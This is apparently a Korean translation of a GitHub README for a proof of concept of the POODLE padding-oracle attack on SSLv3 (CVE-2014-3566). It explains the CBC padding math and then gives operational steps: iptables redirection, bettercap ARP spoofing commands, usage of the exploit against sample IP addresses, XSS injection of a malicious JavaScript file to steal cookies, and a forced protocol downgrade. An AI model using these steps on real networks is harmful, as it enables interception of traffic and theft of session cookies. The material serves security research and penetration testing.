mpgn/poodle-poc🐩 Poodle (다운그레이드된 레거시 암호화에 대한 패딩 오라클) 공격 CVE-2014-3566 🐩
Poodle Attack(Padding Oracle On Downgraded Legacy Encryption)의 개념 증명 :
인터넷 및 보안 소프트웨어 클라이언트가 SSL 3.0으로 대체(fallback)되는 것을 이용하는 중간자 공격(man-in-the-middle)입니다.
Poodle 공격은 사용 중인 전송 계층 보안이 SSLv3인 경우 클라이언트가 서버로 보낸 암호화된 데이터를 검색할 수 있게 해줍니다. 하지만 요청을 암호화하는 데 사용된 개인 키를 검색할 수는 없습니다.
SSLv3는 데이터를 암호화/복호화하고 보호하는 프로토콜입니다. 이 경우 CBC 암호 모드 체이닝을 사용합니다. 평문은 암호화 알고리즘(AES, DES, 3DES)에 따라 블록으로 나뉘며 길이는 8 또는 16의 배수입니다. 평문이 길이를 채우지 못하면 누락된 공간을 채우기 위해 끝에 패딩이 추가됩니다. 이 readme를 읽을 때 암호화 및 복호화 이미지를 여는 것을 강력히 권장합니다.
| 암호화 | 복호화 |
|---|---|
| Ci = Ek(Pi ⊕ Ci-1), 그리고 C0 = IV | Pi = Dk(Ci) ⊕ Ci-1, 그리고 C0 = IV |
기본적으로 이것은 단순한 XOR일 뿐입니다. 다음 동영상도 볼 수 있습니다(제 것이 아닙니다) https://www.youtube.com/watch?v=0D7OwYp6ZEc.
SSLv3를 사용하여 HTTPS로 전송된 요청은 AES/DES 및 CBC 모드로 암호화됩니다. TLS 1.x와 비교한 SSLv3의 특이점은 패딩입니다. SSLv3에서 패딩은 마지막 바이트(패딩 길이와 같은 값)를 제외하고 임의의 바이트로 채워집니다.
예:
T|E|X|T|0xab|0x10|0x02 여기서 0xab|0x10|0x02는 패딩입니다.
T|E|X|T|E|0x5c|0x01 여기서 0x5c|0x01는 패딩입니다.
또한 마지막 블록은 전체 블록이 패딩으로 채워질 수 있습니다. 즉, 마지막 블록은 마지막 바이트를 제외하고 임의의 바이트로 가득 찰 수 있습니다.
T|E|X|T|E|0x5c|0x01|0x3c|0x09|0x5d|0x08|0x04|0x07 여기서 |0x5c|0x01|0x3c|0x09|0x5d|0x08|0x04|0x07는 패딩이고 공격자는 오직 0x07만 알 수 있습니다. 따라서 공격자가 패딩 블록에 영향을 줄 수 있다면 마지막 블록의 마지막 바이트가 블록의 길이와 같다는 것을 알 수 있습니다.
공격자는 피해자가 요청을 보내도록 만들 수 있어야 합니다(예: XSS를 악용한 자바스크립트 사용). 그러면 각 요청의 경로와 데이터를 제어할 수 있습니다:
예: 요청 경로에 "A" 바이트 추가
GET / HTTP/1.1\r\nSECRET COOKIE\r\n\r\n
GET /AAA HTTP/1.1\r\nSECRET COOKIE\r\n\r\nDATA
이 기법을 사용하면 패딩에 영향을 줄 수 있습니다.
SSLv3는 또한 평문의 무결성과 인증을 확인하기 위해 HMAC을 사용합니다.
키 기반 해시 메시지 인증 코드(HMAC)는 암호화 해시 함수(따라서 'H')와 비밀 암호화 키를 결합한 특정 유형의 메시지 인증 코드(MAC)입니다.
이로 인해 공격자는 요청을 가로채서 변경한 후 다시 보낼 수 없습니다. 서버에 문제가 발생하면 서버는 HMAC 오류를 보냅니다.
SSLv3 프로토콜은 다음 루틴을 사용합니다. 클라이언트로부터 데이터를 받아 복호화한 다음 HMAC으로 무결성을 확인합니다.
MAC-then-Encrypt: 암호문에 대한 무결성을 제공하지 않습니다. 메시지를 복호화하기 전까지는 그것이 실제로 정당한 것인지 위조된 것인지 알 수 없기 때문입니다. 평문 무결성. 암호 방식이 가변적(malleable)이라면 메시지를 변경하여 유효하게 보이고 유효한 MAC을 갖게 할 수도 있습니다. 물론 이는 이론적인 지점입니다. 실제로는 MAC 비밀키 > 보호를 제공해야 하기 때문입니다. 또한 여기서 MAC은 암호화되어 있기 때문에 평문에 대한 어떤 정보도 제공할 수 없습니다.
https://crypto.stackexchange.com/questions/202/should-we-mac-then-encrypt-or-encrypt-then-mac
이는 서버가 알지 못한 채 암호문을 변경할 수 있다는 뜻입니다. 정말 좋습니다 :)
먼저 마지막 블록이 패딩으로 가득 차 있어야 합니다. 앞서 보았듯이 공격자는 요청의 경로를 사용하고 요청의 길이를 확인합니다.
마지막 블록이 마지막 바이트를 제외하고 임의의 바이트로 가득 차 있기 때문에, 공격자는 이 마지막 블록 Cn을 복호화하려는 블록 Ci로 교체할 수 있습니다. 변경된 요청은 서버로 전송됩니다.
서버:
마지막 블록을 교체함으로써 공격자는 마지막 블록의 마지막 바이트(패딩의 길이)도 변경합니다. 패딩 블록에서 교체된 마지막 바이트가 원본과 같을 확률은 1/256입니다. 이 경우 패딩 오류가 발생하지 않으며, 공격자는 다음 연산을 통해 블록 Ci의 마지막 바이트를 검색할 수 있습니다:
Pn = Dk(Cn) ⊕ Cn-1
Pn = Dk(Ci) ⊕ Cn-1
Pn = Dk(Ci) ⊕ Cn-1
xxxxxxx7 = Dk(Ci) ⊕ Cn-1
Dk(Ci) = xxxxxxx7 ⊕ Cn-1
Pi ⊕ Ci-1 = xxxxxxx7 ⊕ Cn-1
Pi = Ci-1 ⊕ xxxxxxx7 ⊕ Cn-1
(xxxxxxx7 또는 xxxxxxx15, x는 임의의 바이트)
블록의 마지막 바이트는 Pi[7] = Ci-1[7] ⊕ xxxxxxx7 ⊕ Cn-1[7]로 검색할 수 있습니다. 패딩 오류가 발생한 경우 공격자는 SSL 세션을 종료하고 다른 핸드셰이크(새 AES 키)를 수행하여 새 암호문을 얻은 다음 마지막 블록을 교체해야 합니다(일반적으로 300회 이상의 핸드셰이크 필요).
한 바이트를 검색하면 경로에 바이트를 추가하고 데이터에서 바이트를 하나 제거하여 블록의 나머지 모든 바이트를 얻을 수 있습니다:
| E,I,K,O 바이트를 검색하기 위한 요청 |
|---|
| GET /a SECRET_COOKIE dataazerty PADDING_7 |
| GET /aa SECRET_COOKIE dataazert PADDING_7 |
| GET /aaa SECRET_COOKIE dataazer PADDING_7 |
| GET /aaaa SECRET_COOKIE dataaze PADDING_7 |
TLS 사양은 서버가 패딩을 확인하도록 요구하지만 일부 구현은 이를 제대로 검증하지 않아 SSL 3.0을 비활성화하더라도 일부 서버가 POODLE에 취약해집니다.
TLS는 일반적으로 Poodle에 안전하지만 일부 구현은 패딩을 확인하지 않습니다. 이는 SSLv3를 사용하는 것과 같으며, 일부 TLS 버전이 취약한 이유입니다.
이 저장소에는 세 개의 파일이 있습니다:
이 PoC는 공격의 배후에 있는 암호학을 탐구합니다. 이 파일은 공격이 어떻게 작동하는지 간단한 방식으로 이해할 수 있게 해줍니다.
python3 poodle-poc.py
parallelization-poodle.py 파일은 프로젝트이자 아이디어입니다 :) https://github.com/mpgn/poodle-PoC/issues/1 을 확인해 보세요.
python3 parallelization-poodle.py
이것이 실제 익스플로잇입니다. 펜테스트 중 고객이 오래된 서버와 브라우저를 사용하는 경우 Poodle Attack에 대한 개념 증명을 만들고 싶다면 정말 유용합니다. 악성 프록시의 IP를 브라우저 설정에 올바른 포트와 함께 입력하기만 하면 프록시가 나머지를 처리합니다.
요구 사항:
security.tls.version.min: 0을 사용하여 SSLv3만 강제합니다. 또는 클라이언트가 TLS도 사용한다면 다운그레이드를 강제할 수 있습니다.
💀 이러한 사전 요구 사항을 충족했다면 공격을 시작할 수 있습니다 💀:
이 익스플로잇에는 두 가지 옵션이 있습니다:
$> echo 1 > /proc/sys/net/ipv4/ip_forward
$> iptables -i vmnet1 -t nat -A PREROUTING -p tcp --dport 1337 -j REDIRECT --to-ports 1337
arpspoof, ettercap 또는 bettercap 도구를 사용하여 ARP 스푸핑 공격을 실행합니다.$> bettercap -iface vmnet1
net.show
set arp.spoof.internal true
arp.spoof on
⋊> ~/T/poodle-Poc on master ⨯ python3 poodle-exploit.py -h 13:10:24
usage: poodle-exploit.py [-h] [--start-block START_BLOCK]
[--stop-block STOP_BLOCK] [--simpleProxy SIMPLEPROXY]
proxy port server rport
Poodle Exploit by @mpgn_x64
positional arguments:
proxy ip of the proxy
port port of the proxy
server ip of the remote server
rport port of the remote server
optional arguments:
-h, --help show this help message and exit
--start-block START_BLOCK
start the attack at this block
--stop-block STOP_BLOCK
stop the attack at this block
--simpleProxy SIMPLEPROXY
Direct proxy, no ARP spoofing attack
$> python3 poodle-exploit.py 192.168.13.1 4443 192.168.13.133 443 --start-block 46 --stop-block 50
블록 선택: 블록 옵션을 지정하지 않으면 모든 블록이 복호화되지만 시간이 오래 걸릴 수 있습니다. 요청이 어떻게 구성될지 '알'고 있어야 하며, 복호화하려는 블록(이상적으로는 쿠키 블록! :))을 알기 위해 request-splitter.py 스크립트를 사용할 것을 강력히 권합니다.
그런 다음 예를 들어 XSS를 사용하여 취약한 웹사이트에 악성 자바스크립트 코드(poodle.js)를 삽입합니다. Python 스크립트를 실행하고 help를 입력한 다음 search, 마지막으로 active를 입력합니다. 그동안 자바스크립트와의 상호작용은 두 번만 필요합니다(search 및 active 명령).
업데이트 01/04/2018: 익스플로잇에 다운그레이드 옵션이 추가되었습니다. 익스플로잇이 TLS 프로토콜을 감지하면 downgrade 명령을 입력하여 SSLv3.0으로 다운그레이드하십시오.
작동 방식: 핸드셰이크 중(hello client 이후)에 익스플로잇이 handshake_failure 15030000020228을 보내면 브라우저가 기본 프로토콜로 SSLv3.0을 사용하는 hello client를 다시 보내야 합니다. Chrome 버전 15에서 테스트했지만 Firefox에서는 작동하지 않습니다(프로토콜 재협상을 지원하지 않는 것 같습니다), #4를 확인하세요.
전체 공격 영상:
Asciinema:
